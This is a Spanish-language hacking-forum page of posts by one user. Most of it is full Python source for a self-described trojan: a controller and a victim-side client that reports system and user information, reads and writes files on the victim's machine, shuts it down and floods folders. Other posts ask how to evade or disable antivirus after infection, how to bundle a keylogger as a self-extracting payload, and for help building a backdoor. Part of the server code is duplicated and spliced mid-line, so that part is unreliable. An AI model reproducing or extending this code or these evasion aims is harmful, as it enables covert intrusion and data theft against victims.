elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / Evitar los antivirus y/o desactivarlos en: 1 Agosto 2020, 14:22
Buenas a todos:

Como podéis ver hace poco publiqué mi backdoor en este foro, el tema es que le añadí una cosa para que abriese una clave de registro. Muchos antivirus no lo detectan (360, TOTAL AV...) pero al analizar con malware bytes si me lo detecta. Querría que me comentárais una forma para evitarlos o desactivarlos una vez infectados (ya que no es detectado hasta hacer un analisis). ;-)
2  Seguridad Informática / Análisis y Diseño de Malware / Codigo de troyano en python 3.8 en: 27 Julio 2020, 16:05
Buenas a todos:

Aquí les dejo el código de mi primera backdoor, cualquier idea o error me la comentáis (la iré actualizando según añada cosas al código).
Servidor
Código:
#importamos las librerias
import socket #libreria para crear la conexion cliente/servidor
from colorama import Fore, Back, Style #libreria para decorar textos y banners
import colorama
import os #libreria de multiples usos
from time import sleep #libreria para crear pausas en segundos
import random #libreria para generar numeros aleatorios

#ajustar el tamaño terminal
if os.name == "posix": #comprobamos si el ordenador es de linux o windows
    os.system('printf "\033[8;10;42t"') #ajustamos la terminal en linux
elif os.name == "ce" or os.name == "nt" or os.name == "dos":
    os.system('mode con: cols=124 lines=40') #ajustamos la terminal en MacOs y windows

#funciones generales
def menuDeAyuda(): #imprime un menu de ayuda con todos los comandos disponibles
    borrarPantalla() #Usa la funcion limpiar pantalla para limpiar la terminal
    print(Fore.BLUE + "Esta es un lista de comandos disponibles") #Fore es usado para cambiar el color de las letras
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Info - Muestra informacion del sistema infectado                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Dir - Muestra los archivos en el directorio actual                                   " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Close - Cierra la conexion                                                           " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Cls - Limpia la consola                                                              " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Cd - Cambia el directorio actual                                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Help - Muestra este menu de ayuda                                                    " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Pwd - Muestra el directorio actual                                                   " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Shutdown - Apaga la computadora (solo windows)                                       " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Download - Lleva archivos comprimidos de tu ordenador  al \nordenador de la victima  " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Banner - Genera un banner aleatorio                                                  " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Col - Colapsa la ruta seleccionada con las carpetas indicadas                        " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Touch - Crea un archivo de texto en la ruta seleccionada                             " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Read - Sirve para leer documentos                                                    " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Compress - Comprime archivos en el ordenador de la victima                           " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Uncompress - Descomprime archivos en el ordenador de la victima                      " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Usr - Muestra el nombre de usuario de el ordenador infectado                         " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Mkdir - Crea una carpeta en la ruta espedificada                                     " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
    print(Fore.WHITE + "Move - Mueve archivos a la ruta seleccionada                                         " + Fore.BLUE + "|")
    print(Fore.BLUE + "---------------------------------------------------------------------------------------")



def borrarPantalla(): #Limpia la terminal
    if os.name == "posix": #Si es linux limpia la pantalla en linux
        os.system ("clear")
    elif os.name == "ce" or os.name == "nt" or os.name == "dos": #Si es windows o mac os la limpia para esos sistemas
        os.system ("cls")

#Los banners son dibujitos que aparecen al ejecutar el script y al usar el comando banner
def banner1():
    print(Fore.BLACK + "\n\n" +
Back.BLACK + "     " + "                                                                                           \n" +
Back.BLACK + "     " + "                                                                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
Back.BLACK + "     " + "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                  \n" +
Back.BLACK + "     " + "                                                                                           \n" +
Fore.BLUE + Back.BLACK + "\n" + "                          MY TROJAN")


def banner2():
    print(Fore.BLUE + "\n \n"
                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"ooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "ooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooo" + Fore.BLUE + "$$$$$$$$$$$$$$$$$$$$$$" + Fore.GREEN + "oooooooooooooooooo" + Fore.BLUE + "$$\n" +
                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +                                                
                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
                      "                                                                   \n"
                      "                          MY TROJAN                                  ")


def banner3():
    print(Fore.YELLOW + "\n\n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               000000000000000000000000000000000000000                                                    \n"
                        "                               0000000                          000000  0000000000000                                     \n"
                        "    ****000000000000000000000000000000                          000000000000000000  000                                   \n"
                        " *****00000000000000000000000000000000                          000000000000         |                                    \n"
                        "    ****000000000000000000000000000000                          00000000000000000000000                                   \n" + Fore.BLUE)

def banner4():
    print(Fore.WHITE + "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "       $                                     $                                                    \n"
                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "     $   $                                                                                        \n"
                       "    $   $                                                                                         \n"
                       "   $   $                                                                                          \n"
                       "  $   $                                                      $$$$                 $$$$            \n"
                       " $   $                                                       $$$$                 $$$$            \n"
                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
                       " $   $                                                       $$$$                 $$$$            \n"
                       "  $   $                                                      $$$$                 $$$$            \n"
                       "   $   $                                                                                          \n"
                       "    $   $                                                                                         \n"
                       "     $   $                                                                                        \n"
                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
                       "       $                                     $                                                    \n"
                       "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n" + Fore.BLUE)


def defineBanner(): #Esta funcion define un banner aleatorio
    num = random.randint(1, 4) #Genera un numero aleatorio entre 1 y 4

    if(num == 1): #Dependiendo de que numero sea usa un banner diferente
        banner1()
    if(num == 2):
        banner2()
    if(num == 3):
        banner3()
    if(num == 4):
        banner4()

#Iniciar colorama
colorama.init() #Inicia colorama para poder colorear

#Poner socket en linea
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Define socket
s.bind(('127.0.0.1', 1234)) #Lo pone en modo servidor
#poner socket a la escucha
s.listen()

#decoracion
borrarPantalla() #Borra la pantalla para evitar problemas
defineBanner() #Llama a la funcion defineBanner para dibujar un banner aleatorio
print(Fore.BLUE + "Esperando una conexion...") #Muestra que esta esperando una conexion para aclarar dudas

#variables generales
guid = "" #Es la variable donde se introducira el comando a usar
cmdList = ["Help", "Close", "Cls", "Cd", "Info", "Dir", "Pwd", "Shutdown", "Download", "Banner", "Col", "Touch", "Read", "Uncompress", "Compress", "Usr", "Mkdir", "Move"] #Es una lista de todos los comandos que use para evitar errores

#aceptar nueva conexion
clientsocket, address = s.accept() #Si el cliente solicita unirse acepta la conexion

#mostrar informacion basica de la nueva conexion
marca = clientsocket.recv(1024) #Recive una informacion enviada desde el cliente y la almacena en la variable marca
marca.decode("utf-8") #Descodifica e mensaje (siempre hay que codificar para enviar y lo contrario al recivir)
print(Fore.BLUE + f"New connection from a {marca}/{address}") #Imprime el sistema operativo y la direccion ip del sistema infectado

while True: #Empieza a recibir ordenes para enviar
            #Me quedan hacer muchas cosas aqui entre ellas
            #Pedir una respuesta de confirmacion en cada comando
            #(Solo lo tengo en algunos)

    guid = input() #Pide que ingreses un comando

    try: #Intenta ejecutar el siguiente codigo
        if(guid != ""): #Comprueba que el comando introducido sea diferente a nada
            if(guid == "Banner"): #Si es igual a Banner usa la funcion defindeBanner para imprimir un banner
                defineBanner()
            if(guid == "Help"): #Si es igual a Help imprime el menu de ayuda
                menuDeAyuda()
            if(guid == "Close"): #Si es igual a Close cierra la conexion
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente para cerrar la conexion desde hay tambien
                print(Fore.YELLOW + "La conexion se a roto" + Fore.RED)
                sleep(1) #Espera un segundo
                print("Ya no podra ejecutar mas comandos en la victima..." + Fore.BLUE)
                os.system("pause") #Crea una pausa
                break #Cierra el bucle para que se cierre el programa
            if(guid == "Cls"): #Si el comando es igual a Cls limpia la consola con la funcion borrarPantalla
                borrarPantalla()
            if(guid == "Cd"): #Si el comando es igual a Cd
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente
                direc = input("Cual es la ruta a la que moverse...") #Pide que escriba la ruta a la que se quiere mover
                clientsocket.send(bytes(direc, "utf-8")) #La manda al cliente
            if(guid == "Info" or guid == "Dir" or guid == "Pwd" or guid == "Usr"): #Estos tres comandos son muy similares ya que solo muestran informacion de la victima
                clientsocket.send(bytes(guid, "utf-8"))
                respuesta = clientsocket.recv(10024)
                print(Fore.BLUE + "-------------------------------------------")
                print(respuesta.decode("utf-8"))
                print(Fore.BLUE + "-------------------------------------------")
            if(guid == "Shutdown"): #Si el comando es igual a Shutdown
                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando a la victima para que reciva la orden
                print("La conexion se perdera al apagar el ordenador(solo funciona en windows)")
                break #Rompe el bucle para que acabe el programa
            if(guid == "Download"): #Si el comando es igual a Download(este me costo montarlo asi que si no entiendes no te procupes)
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                fileName = input("Nombre y extension del nuevo archivo...") #Pide el nombre y la extension del nuevo archivo
                clientsocket.send(bytes(fileName, "utf-8")) #Envia los datos anteriores
                file = input("Archivo que quiere descargar en la conexion...") #Pide la ruta de un archivo .zip o .rar en tu ordenador para pasarlo al de la victima
                f = open(file, 'rb') #Abre ese archivo con permisos de lectura para leer el binario(todos los archivos estan formados por binario)
                fileData = f.read(99999999) #Lee el binario obtenido
                clientsocket.send(fileData) #Lo envia(no hace falta codificarlo porque ya esta codificado)
                print("Archivo enviado...")
                respuestaDeComprobacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeComprobacion.decode("utf-8")) #Y la muestra por pantalla
            if(guid == "Col"):#Si el comando es igual a Col
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                numC = input("Cuantas carpetas quiere crear...") #Pregunta al usuario cuantas carpetas quiere crear
                clientsocket.send(bytes(numC, "utf-8")) #Lo manda al cliente
                colPath = input("Cual es la ruta que desea colapsar...") #Pregunta cual es la ruta a colapsar
                clientsocket.send(bytes(numC, "utf-8")) #La envia
                print(Fore.YELLOW + "Colapsando..." + Fore.BLUE)
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recoge la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Touch"): #Si es igual a Touch
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                titulo = input("Titulo del documento...") #Pregunta por el titulo del documento(extension incluida)
                clientsocket.send(bytes(titulo, "utf-8")) #La envia al cliente
                filePath = input("Ruta donde el documento se creara...") #Pide que ingrese la ruta donde se creara el documento
                clientsocket.send(bytes(filePath, "utf-8")) #La envia al cliente
                content = input("Contenido del documento...") #Pregunta por el contenido del documento
                clientsocket.send(bytes(content, "utf-8")) #Lo envia al cliente
                print("Esperando respuesta")
                respuestaDeConfrimacion = clientsocket.recv(1024) #Recive la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime en la consola
            if(guid == "Read"): #Si la orden es igual a Read
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                fileRead = input("Ruta del archivo que desea leer(procure que el archivo no sea muy extenso)...") #Pregunta sobre la ruta del documento
                clientsocket.send(bytes(fileRead, "utf-8")) #La manda al cliente
                cont = clientsocket.recv(999999) #Recibe la respuesta del cliente(o el contenido o un error)
                print("----------------------------------------------------")
                print(cont.decode("utf-8")) #La imprime
                print("----------------------------------------------------")
            if(guid == "Uncompress"): #Si el comando es igual a Uncompress(otro complicado)
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
                uncompressPath = input("Introduzca la ruta del archivo a descomprimir...") #Pide la ruta del archivo a descomprimir
                clientsocket.send(bytes(uncompressPath, "utf-8")) #La envia
                finalPath = input("Introduzca la ruta en la que desea decomprimir el archivo(sin el archivo)...") #Pide la ruta en la que se quiere descomprimir
                clientsocket.send(bytes(finalPath, "utf-8")) #La envia
                print("Esperando respuesta....")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Compress"): #Si es igual a Compress
                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden
                nombreDelArchivo = input("Nombre del archivo...") #Pregunta el nuevo nombre(extension .rar .zip o similares)
                clientsocket.send(bytes(nombreDelArchivo, "utf-8")) #La envia
                rutaDelArchivo = input("Ruta del archivo a comprimir...") #Pregunta la ruta del archivo a comprimir
                clientsocket.send(bytes(rutaDelArchivo, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recive respuesta del cliente
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Mkdir"): #Si la orden es Mkdir
                clientsocket.send(bytes(guid, "utf-8")) # Envia la orden
                path = input("Ingrese la ruta...") #Pide la ruta de la nueva carpeta
                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Move"): #Si la orden es igual a Move
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
                clientsocket.send(bytes(movePath, "utf-8")) #La envia
                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto


    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
                print("Esperando respuesta...")
                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
                print(respuesta.decode("utf-8")) #La imprime
            if(guid == "Move"): #Si la orden es igual a Move
                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
                clientsocket.send(bytes(movePath, "utf-8")) #La envia
                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
                print("Esperando respuesta...")
                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto


    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa
Cliente
Código:
import socket
import subprocess
import platform
import os
import getpass
import time
import zipfile
import patoolib
from shutil import move

var = False
espera = 1
while var == False:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(('127.0.0.1', 1234))
        var = True
    except:
        print("furrula")
        time.sleep(60)


client.send(bytes(f"{platform.system()}", "utf-8"))
while True:

    sysInfo = f"""
    Operating System: {platform.system()}
    Computer Name: {platform.node()}
    Username: {getpass.getuser()}
    Release Version: {platform.release()}
    Processor Architecture: {platform.processor()}
                """
    msg = client.recv(100)
    msg.decode("utf-8")
    print(msg)

    if(msg == b'Info'):
        client.send(bytes(sysInfo, "utf-8"))

    if(msg == b'Dir'):
        client.send(bytes(str(os.listdir(".")), "utf-8"))

    if(msg == b'Cd'):
        direc = client.recv(100)
        direc.decode("utf-8")
        os.chdir(direc)

    if(msg == b'Pwd'):
        ruta = f'{os.getcwd()}'
        print(ruta)
        client.send(bytes(ruta, "utf-8"))

    if(msg == b'Shutdown'):
        os.system('shutdown -s -t 1')

    if (msg == b'Close'):
        break

    if(msg == b'Col'):
        numC = client.recv(1024)
        colPath = client.recv(1024)
        for i in range(0, int(numC)):
            rutaColapsada = colPath.decode("utf-8") + "\\" + str(i)
            if os.path.exists(rutaColapsada):
                rutaColapsada = rutaColapsada + str(arregloParaRutas)
                os.mkdir(rutaColapsada)
            else:
                os.mkdir(rutaColapsada)
        client.send(bytes("Proceso terminado", "utf-8"))

    if(msg == b'Touch'):
        try:
            titulo = client.recv(1024)
            print(titulo)
            filePath = client.recv(1024)
            print(filePath)
            contenido = client.recv(100024)
            print(contenido)
            file = open(filePath.decode("utf-8") + "\\" + titulo.decode("utf-8"), "w")
            print("Creado")
            file.write(contenido.decode("utf-8"))
            file.close()
            cliente.send(bytes("Creado correctamente", "utf-8"))
        except:
            client.send(bytes("A ocuriido un error", "utf-8"))
    if(msg == b'Download'):
        try:
            fileName = client.recv(100)
            f = open(fileName, 'wb')
            print(fileName)
            fileData = client.recv(99999999)
            print(fileData)
            time.sleep(2)
            f.write(fileData)
            f.close()
            client.send(bytes("Creado correctamente", "utf-8"))

        except:
            client.send(bytes("Ha ocurrido un error, probablemente no tengas los permisos suficientes", "utf-8"))

    if(msg == b'Read'):
        pathFile = client.recv(1024)
        pathFile.decode("utf-8")
        f = open(pathFile, 'rb')
        fileData = f.read(99999)
        client.send(fileData)

    if(msg == b'Uncompress'):
        try:
            uncompressPath = client.recv(1024)
            uncompressDestiny = client.recv(1024)
            patoolib.extract_archive(uncompressPath.decode("utf-8"), outdir=uncompressDestiny.decode("utf-8"))
            client.send(bytes("Descomprimido correctamente", "utf-8"))
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))


    if(msg == b'Usr'):
        client.send(bytes(getpass.getuser(), "utf-8"))

    if(msg == b'Compress'):
        try:
            name = client.recv(1024)
            namePath = client.recv(1024)

            jungle_zip = zipfile.ZipFile(name.decode("utf-8"), 'w')
            jungle_zip.write(namePath.decode("utf-8"), compress_type=zipfile.ZIP_DEFLATED)

            jungle_zip.close()
            client.send(bytes("Comprimido correctamente", "utf-8"))

        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    if(msg == b'Mkdir'):
        try:
            path = client.recv(1024)
            os.mkdir(path.decode("utf-8"))
            client.send(bytes("Creada correctamente", "utf-8"))
            print("enviado")
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    if(msg == b'Move'):
        try:
            movePath = client.recv(1024)
            moveDestiny = client.recv(1024)
            move(movePath.decode("utf-8"), moveDestiny.decode("utf-8"))
            client.send(bytes("Transportado correctamente", "utf-8"))
        except:
            client.send(bytes("A ocurrido un error", "utf-8"))

    time.sleep(espera)









Postdata: Algunas librerías hay que instalarlas con pip ;) ;)
3  Programación / Scripting / Script con archivos autoextraibles en: 26 Julio 2020, 16:59
Antes de nada buenas a todos:
Estoy creando una socket y una de las opciones que le di es un keylogger, a mi parecer los keyloggers en python no son muy útiles comparados con los de c++. Asi que lo que quiero hacer es que, de alguna manera, el script lleve el archivo adjunto y al ejecutar la orden se extraiga. No se si esto es alucinar un poco de todas formas decidme si es posible.

Un saludo a todos ;-) ;-)
4  Programación / .NET (C#, VB.NET, ASP) / Problema con programa en: 12 Junio 2020, 17:02
Muy buenas, estoy aprendiendo c# desde hace bien poco con visual studio. El caso tengo un código que se supone, debería escribir en un .txt cierto texto y luego volver a escribir sin remplazarlo, necesito ayuda plz.(Os dejo el código para que me digáis que está mal). No es muy urgente, pero aun así agradecería la ayuda. ;-) ;-)

Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Forms;

namespace Recopilador
{
    public partial class Form1 : Form
    {
        //variables generales
        List<string> Lista1 = new List<string>();
        public string ruta = @"C:\Users\PC\Documents\hi\Recopilador\Recopilador\bin\Debug\Nombres.txt";

        public Form1()
        {
            InitializeComponent();
        }

        private void OkBotton_Click(object sender, EventArgs e)
        {
            string name;
            name = CajaNombre.Text;

            Lista1.Add(name);

            NombresRegistrados.DataSource = null;
            NombresRegistrados.DataSource = Lista1;

            if (Directory.Exists(ruta))
            {
                StreamWriter STwriter = File.AppendText(ruta);
                STwriter.WriteLine(name);
                STwriter.Close();
            }
            else
            {
                TextWriter writer = new StreamWriter(ruta);
                writer.WriteLine(name);
                writer.Close();
            }

            MessageBox.Show("Guardado correctamente.");
        }

        private void LimpiarLista_Click(object sender, EventArgs e)
        {
            Lista1.Remove(CajaNombre.Text);

            NombresRegistrados.DataSource = null;
            NombresRegistrados.DataSource = Lista1;
        }

        private void ModificarNombre_Click(object sender, EventArgs e)
        {
            try
            {
                var loc = Lista1.IndexOf(NombreACambiar.Text);

                Lista1.RemoveAt(loc);
                Lista1.Insert(loc, CajaNombre.Text);

                NombresRegistrados.DataSource = null;
                NombresRegistrados.DataSource = Lista1;
            }catch(Exception x)
            {
                MessageBox.Show("*****El elemento seleccionado no existe.***** Detalles del error:" + x);
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void EscribirArchivo_Click(object sender, EventArgs e)
        {


        }
    }
}
5  Seguridad Informática / Análisis y Diseño de Malware / Lenguaje para crear un "malware" pero divertido en: 9 Junio 2020, 23:25
Antes de todo, hola a todos. Estoy buscando como crear un malware que se mueva por el escritorio creando una sensación graciosa (similar a desktop goose). He pensado en utilizar c# ya que es un lenguaje orientado a objetos, pero aun asi les pido tu opinion.
6  Seguridad Informática / Análisis y Diseño de Malware / Necesito ayuda para una backdoor en: 1 Junio 2020, 19:48
Antes de nada muy buenas a todos:

Realmente necesito ayuda, llevo varios meses intentando crear una backdoor en c++ pero no consigo entender nada (soy joven y empecé hace poco). No se si me podeís ayudar poniendo un pequeño código con comentarios o enlaces a paginas útiles.

Gracias a todos por la ayuda ;-)
Páginas: [1]
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines